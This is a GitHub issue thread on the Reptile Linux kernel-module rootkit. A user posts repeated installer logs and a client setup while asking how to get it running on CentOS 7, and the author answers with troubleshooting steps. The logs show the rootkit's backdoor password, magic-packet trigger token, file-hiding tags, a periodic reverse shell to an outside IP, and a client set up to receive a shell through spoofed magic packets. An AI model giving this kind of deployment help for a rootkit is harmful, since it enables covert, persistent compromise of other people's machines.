search

f0rb1dd3n / Reptile

LKM Linux rootkit
2.54k stars 571 forks source link

hello #54

Closed MRchen532 closed 4 years ago

MRchen532 commented 5 years ago

This is a great design, I want to learn it.Can you tell me how to use it in centos7? Thank you! My kernel is centos7 3.10.0-693.el7.x86_64.What should I do?

MRchen532 commented 5 years ago

I am a newly installed system and cannot be installed. Can you teach me?

MRchen532 commented 5 years ago

[root@localhost Reptile-master]# ./setup.sh install

############################################################################ ############################ REPTILE INSTALLER ############################# ############################################################################ written by: F0rb1dd3n

SELinux config found on system! Checking SELinux status... clear

Hide name (will be used to hide dirs/files) (default: reptile): Auth token to magic packets (default: hax0r): Backdoor password (default: s3cr3t): Tag name that hide file contents (default: reptile): Source port of magic packets (default: 666): Would you like to config reverse shell each X time? (y/n) (default: n): n

Token: hax0r Backdoor password: s3cr3t SRC port: 666

TAGs to hide file contents:

content to be hidden

Configuring... Can't locate String/Unescape.pm in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at scripts/destringify.pl line 8. BEGIN failed--compilation aborted at scripts/destringify.pl line 8. Can't locate String/Unescape.pm in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at scripts/destringify.pl line 8. BEGIN failed--compilation aborted at scripts/destringify.pl line 8. DONE! Compiling... ERROR!

MRchen532 commented 5 years ago

[root@localhost chenguangyu]# perl -MCPAN -e "install String::Unescape" Can't locate CPAN.pm in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .). BEGIN failed--compilation aborted. [root@localhost chenguangyu]# uname -a Linux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux [root@localhost chenguangyu]# cat /proc/version Linux version 3.10.0-693.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC) ) #1 SMP Tue Aug 22 21:09:27 UTC 2017

f0rb1dd3n commented 5 years ago

Hello,

So, to install on this Centos you just need to run ./setup.sh install. But before you will have to install String::Unescape perl module.

To do that, normally is just do this command or even cpan -i String::Unescape. But if you are having problem with that, you will have to check your perl. Maybe in some configurations, perl is not fully installed.

Try to install (or even reinstall) perl and cpan in your system: yum install perl-devel cpan

Is also recommended: yum update

MRchen532 commented 5 years ago

[root@localhost Reptile-master]# ./setup.sh install

############################################################################ ############################ REPTILE INSTALLER ############################# ############################################################################ written by: F0rb1dd3n

SELinux config found on system! Checking SELinux status... clear

Hide name (will be used to hide dirs/files) (default: reptile): Auth token to magic packets (default: hax0r): Backdoor password (default: s3cr3t): Tag name that hide file contents (default: reptile): Source port of magic packets (default: 666): Would you like to config reverse shell each X time? (y/n) (default: n):

Token: hax0r Backdoor password: s3cr3t SRC port: 666

TAGs to hide file contents:

content to be hidden

Configuring... DONE! Compiling... ERROR!

MRchen532 commented 5 years ago

Compiling... ERROR! How to solve it?

MRchen532 commented 5 years ago

[root@localhost modules]# cd '/lib/modules/3.10.0-693.el7.x86_64' [root@localhost 3.10.0-693.el7.x86_64]# ls build modules.builtin modules.modesetting source extra modules.builtin.bin modules.networking updates kernel modules.dep modules.order vdso modules.alias modules.dep.bin modules.softdep weak-updates modules.alias.bin modules.devname modules.symbols modules.block modules.drm modules.symbols.bin [root@localhost 3.10.0-693.el7.x86_64]# ls -ls 总用量 3104 0 lrwxrwxrwx. 1 root root 38 12月 8 03:39 build -> /usr/src/kernels/3.10.0-693.el7.x86_64 0 drwxr-xr-x. 2 root root 6 8月 23 2017 extra 0 drwxr-xr-x. 12 root root 128 12月 8 03:39 kernel 772 -rw-r--r--. 1 root root 790292 12月 8 03:55 modules.alias 744 -rw-r--r--. 1 root root 758807 12月 8 03:55 modules.alias.bin 4 -rw-r--r--. 1 root root 1334 8月 23 2017 modules.block 8 -rw-r--r--. 1 root root 6457 8月 23 2017 modules.builtin 12 -rw-r--r--. 1 root root 8263 12月 8 03:55 modules.builtin.bin 264 -rw-r--r--. 1 root root 268794 12月 8 03:55 modules.dep 368 -rw-r--r--. 1 root root 373800 12月 8 03:55 modules.dep.bin 4 -rw-r--r--. 1 root root 361 12月 8 03:55 modules.devname 4 -rw-r--r--. 1 root root 132 8月 23 2017 modules.drm 4 -rw-r--r--. 1 root root 110 8月 23 2017 modules.modesetting 4 -rw-r--r--. 1 root root 1689 8月 23 2017 modules.networking 92 -rw-r--r--. 1 root root 93026 8月 23 2017 modules.order 4 -rw-r--r--. 1 root root 218 12月 8 03:55 modules.softdep 368 -rw-r--r--. 1 root root 374488 12月 8 03:55 modules.symbols 452 -rw-r--r--. 1 root root 459123 12月 8 03:55 modules.symbols.bin 0 lrwxrwxrwx. 1 root root 5 12月 8 03:39 source -> build 0 drwxr-xr-x. 2 root root 6 8月 23 2017 updates 0 drwxr-xr-x. 2 root root 95 12月 8 03:39 vdso 0 drwxr-xr-x. 2 root root 6 8月 23 2017 weak-updates

MRchen532 commented 5 years ago

[root@localhost Reptile-master]# yum install install linux-headers-$(uname -r) Loaded plugin：fastestmirror, langpacks Loading mirror speeds from cached hostfile

f0rb1dd3n commented 5 years ago

try: yum install kernel-devel and reboot your machine after install headers.

MRchen532 commented 5 years ago

VAR VALUE DESCRIPTION

LHOST 192.168.175.148 Local host to receive the shell LPORT 4444 Local port to receive the shell SRCHOST 192.168.175.145 Source host on magic packets (spoof) SRCPORT 666 Source port on magic packets (only for TCP/UDP) RHOST 192.168.175.145 Remote host RPORT 88 Remote port (only for TCP/UDP) PROT Protocol to send magic packet (ICMP/TCP/UDP) PASS 123456 Backdoor password (optional) TOKEN hax0r Token to trigger the shell

reptile-client> set PORT 44234 [-] wrong parameter! reptile-client> set PORT 44234 [-] wrong parameter! reptile-client> set PORT 88 [-] wrong parameter! reptile-client> set PORT 1111 [-] wrong parameter! How to set port ？

MRchen532 commented 5 years ago

[root@localhost Reptile-master]# ./setup.sh install

############################################################################ ############################ REPTILE INSTALLER ############################# ############################################################################ written by: F0rb1dd3n

SELinux config found on system! Checking SELinux status... clear

Hide name (will be used to hide dirs/files) (default: reptile): Auth token to magic packets (default: hax0r): Backdoor password (default: s3cr3t): Tag name that hide file contents (default: reptile): Source port of magic packets (default: 666): Would you like to config reverse shell each X time? (y/n) (default: n): y Reverse IP: 192.168.178.150 Reverse Port (default: 80): 80 How long is your interval? (in seconds) (default: 1800): 1800

Token: hax0r Backdoor password: s3cr3t SRC port: 666

Reverse shell each X time: Reverse IP: 192.168.178.150 Reverse Port: 80 Interval: 1800

TAGs to hide file contents:

content to be hidden

Configuring... DONE! Compiling... ERROR!